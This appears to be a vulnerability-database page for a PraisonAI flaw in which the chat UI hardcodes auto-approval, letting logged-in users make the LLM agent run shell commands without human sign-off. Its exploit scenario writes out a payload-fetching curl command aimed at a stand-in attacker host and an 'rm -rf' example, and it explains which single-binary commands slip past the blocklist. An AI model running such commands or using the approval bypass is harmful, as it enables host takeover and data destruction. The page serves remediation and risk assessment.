Skip to main content

PraisonAI CVE-2026-56075

| EUVDEUVD-2026-37959 HIGH
Incorrect Authorization (CWE-863)
2026-06-18 VulnCheck GHSA-gx4r-3wg8-9w5x
8.7
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Reach PraisonAI Chainlit UI
  2. Delivery
    Authenticate (often default creds)
  3. Exploit
    Prompt LLM agent for shell action
  4. Execution
    ACP auto-approves plan (override)
  5. Persist
    subprocess.run executes single command
  6. Impact
    RCE as server user

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V8 - Authorization Authorization logic validation
MITRE ATT&CK

1 technique across 1 tactic: Privilege Escalation

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires a reachable PraisonAI Chainlit web UI started via 'praisonai ui chat' or 'praisonai ui code' (the underlying agent_tools/action_orchestrator code paths used from the CLI or SDK are not affected by the hardcoded override) and valid authenticated UI credentials (PR:L) - the GHSA PoC notes default credentials as a starting condition. Exploitation further requires that the attacker's intended command be expressible as a single binary invocation without shell metacharacters ($, `, &&, ||, >, |, ;, &, newlines), since both _sanitize_command and _apply_step blocklists reject chained or substituted commands; this rules out direct piping but not rm/curl/wget/chmod/dd/python3 -c. No user interaction by another operator is needed because the approval gate is silently bypassed; the bug affects all PraisonAI versions before 4.5.128 on any platform where the UI runs.

Impact

Authoritative signals weigh moderately high: CVSS 4.0 base 8.7 (AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H) reflects network-reachable, low-complexity, low-privilege RCE on the host running the UI. The flaw is confirmed by the upstream maintainer via GHSA-qwgj-rrpj-75xm and corroborated by VulnCheck's advisory, and a fixed release (4.5.128) is available - strong supply-chain confidence. Real-world risk is gated by the fact that exploitation requires a logged-in UI session (PR:L), so internet-exposed PraisonAI UIs (especially any left on default credentials, as referenced in the PoC prerequisites) are the high-risk population; internal lab/dev deployments are lower risk. EPSS and KEV status are not provided in the input, so widespread mass exploitation is not currently evidenced - treat as a priority patch for any production or internet-reachable PraisonAI deployments and a lower priority for air-gapped single-user installs.

Exploit ScenarioDerived

An attacker who obtains or already holds credentials to a PraisonAI Chainlit UI (e.g., a default-credential or internally exposed instance) opens a chat session and instructs the agent in natural language to 'run rm -rf /home/praison' or 'fetch and run a payload with curl http://attacker.example/p.sh -o /tmp/p && /bin/sh /tmp/p' - the latter chained form is blocked, but the single-argument curl, wget, dd, or chmod variants pass both sanitizers. Because approval_mode is hardcoded to 'auto', the orchestrator approves the plan with no human prompt and subprocess.run executes it as the PraisonAI server process user, giving the attacker RCE on the host. A working PoC outline is published in the GHSA advisory.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.5% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 18, 2026

Arbitrary shell command execution in PraisonAI before 4.5.128 allows authenticated UI users to bypass the human-in-the-loop approval gate because the Chainlit chat and code UI modules hardcode approval_mode='auto' after loading administrator config from PRAISON_APPROVAL_MODE. Once auto-approved, prompts to the LLM agent reach subprocess.run with shell=True, and the existing blocklists only filter command chaining operators - leaving single destructive commands (rm -rf, curl, dd, chmod) executable. No public exploit identified at time of analysis beyond the vendor PoC; not currently listed in CISA KEV.

RemediationAI

Vendor-released patch: upgrade praisonai to 4.5.128 or later (pip install --upgrade praisonai), which restores honoring of the PRAISON_APPROVAL_MODE environment variable in the Chainlit UI modules; see GHSA-qwgj-rrpj-75xm. If immediate upgrade is not possible, compensating controls are: stop running 'praisonai ui chat' and 'praisonai ui code' (the CLI/SDK invocation paths are not in scope of this advisory), change default UI credentials and place the UI behind an authenticating reverse proxy or VPN to shrink the authenticated-attacker population, and as an in-place hotfix delete the 'config.approval_mode = "auto"' line in chat.py:158 and code.py:157 so PRAISON_APPROVAL_MODE=manual or scoped is actually enforced - side effect is that every ACP shell action will now prompt, which is the intended behavior but disruptive for automation flows that depended on silent auto-approve. Do not rely on the existing _sanitize_command/_apply_step blocklists as a control; they do not block single-command destructive binaries.

Affected VersionsENISA

PraisonAI 0 <4.5.128

Affected Packages

pypi praisonai fix: 4.5.128

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

PraisonAI is an open-source multi-agent LLM framework (PyPI package 'praisonai') that exposes a Chainlit-based web UI for chat and code agents. Its Agent Command Protocol (ACP) tool layer includes an approval orchestrator with three documented modes - auto, manual, scoped - read by ToolConfig.from_env() in interactive_tools.py. The flaw is rooted in CWE-863 (Incorrect Authorization): in chat.py:156-159 and code.py:155-158 the loaded config object is mutated with config.approval_mode='auto', so acp_execute_command in agent_tools.py:347 always evaluates auto_approve=True and the action_orchestrator calls subprocess.run(step.target, shell=True, cwd=workspace, timeout=30). Two sanitizers (_sanitize_command and _apply_step) block shell metacharacters ($, `, &&, ||, >, |, ;, &, newlines) but not single binary invocations, so any one-process destructive command passes.

Know when Praisonai gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 8.7 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
vuln.today AI 8.8 HIGH

UI is network-reachable HTTP with low complexity; requires an authenticated UI account (PR:L); no user interaction; full RCE on host yields high C/I/A with unchanged scope.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

1
Patch available
Jun 19, 2026 - 02:01 EUVD

DescriptionCVE.org

PraisonAI before 4.5.128 contains an arbitrary shell command execution vulnerability where the UI modules hardcode approval_mode to auto, overriding administrator configuration from PRAISON_APPROVAL_MODE environment variable. Authenticated attackers can instruct the LLM agent to execute arbitrary shell commands via subprocess.run with shell=True, bypassing the manual approval gate and insufficient command sanitization blocklists.

Executive ViewAI

Why It Matters

PraisonAI before version 4.5.128 contains a high-severity arbitrary command execution vulnerability affecting authenticated users. The vulnerability bypasses human-in-the-loop approval controls by hardcoding auto-approval mode, allowing authenticated users to execute destructive shell commands (rm -rf, dd, chmod) through the LLM agent interface. No public exploit identified at time of analysis, though the vendor has published proof-of-concept documentation.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict PraisonAI UI access exclusively to named, authenticated administrators with MFA enabled; (2) disable shell=True in subprocess calls or implement strict allowlist-based command filtering to block dangerous operations; (3) run PraisonAI process with minimal OS-level privileges (non-root service account); (4) implement network egress filtering to prevent unauthorized outbound commands (curl, wget, nc); (5) enable real-time monitoring and alerting on all subprocess.run() execution; (6) disable auto-approval mode entirely, requiring manual administrator review of all LLM agent prompts until patch is available.

Threat Intelligence Overview

EPSS Score
0.5%
Top 63% exploitable
Social Media
1
Sightings
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.5%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

44
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.

CVE-2026-61447 CRITICAL POC
10.0 Jul 11

Remote code execution in PraisonAI before 1.6.78 allows attackers to run arbitrary Python on the host by manipulating th

CVE-2026-57139 CRITICAL POC
9.8 Sep 15

PraisonAI's TypeScript MCP server (npm package `praisonai`, versions 1.5.0 through 1.7.1) exposes an HTTP JSON-RPC trans

CVE-2026-57148 CRITICAL POC
9.8 Sep 15

Unauthenticated authentication bypass in praisonai-platform prior to 0.1.6 (and PraisonAI before 4.6.51) allows a remote

CVE-2026-55536 CRITICAL POC
9.1 Aug 25

WebSocket origin-validation bypass in PraisonAI's Browser Server (praisonai/browser/server.py) before 4.6.58 lets an att

CVE-2026-61426 HIGH POC
8.8 Jul 11

Unauthenticated agent access in PraisonAI before 1.7.3 lets remote attackers read agent instructions and system prompts

CVE-2026-55541 HIGH POC
8.8 Aug 25

PraisonAI's `praisonai serve` subsystem (agents and unified modes) accepts an `--api-key` CLI flag that is parsed but ne

CVE-2026-61439 HIGH POC
8.7 Jul 11

System prompt extraction and unauthorized tool invocation in PraisonAI before 4.6.78 arise because the prompt-injection

CVE-2026-55534 HIGH POC
8.6 Aug 25

Unauthenticated remote agent invocation in PraisonAI versions 4.6.34 through 4.6.57 allows any network-reachable caller

CVE-2026-55526 HIGH POC
8.5 Aug 25

SSRF protection bypass in PraisonAI's praisonaiagents library (all versions before 1.6.58) lets low-privileged users rou

CVE-2026-61429 HIGH POC
8.4 Jul 11

Server-side request forgery in PraisonAI's Crawl4AI/Chromium crawling backend (all versions before 1.6.78) lets low-priv

CVE-2026-55533 HIGH POC
8.2 Aug 25

Authentication fail-open in PraisonAI's Recipe HTTP server allows unauthenticated remote attackers to invoke recipe exec

CVE-2026-55528 HIGH POC
8.2 Aug 25

Authentication bypass in PraisonAI's AgentServer component exposes all routes - /publish, /events, /info, /health - to u

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy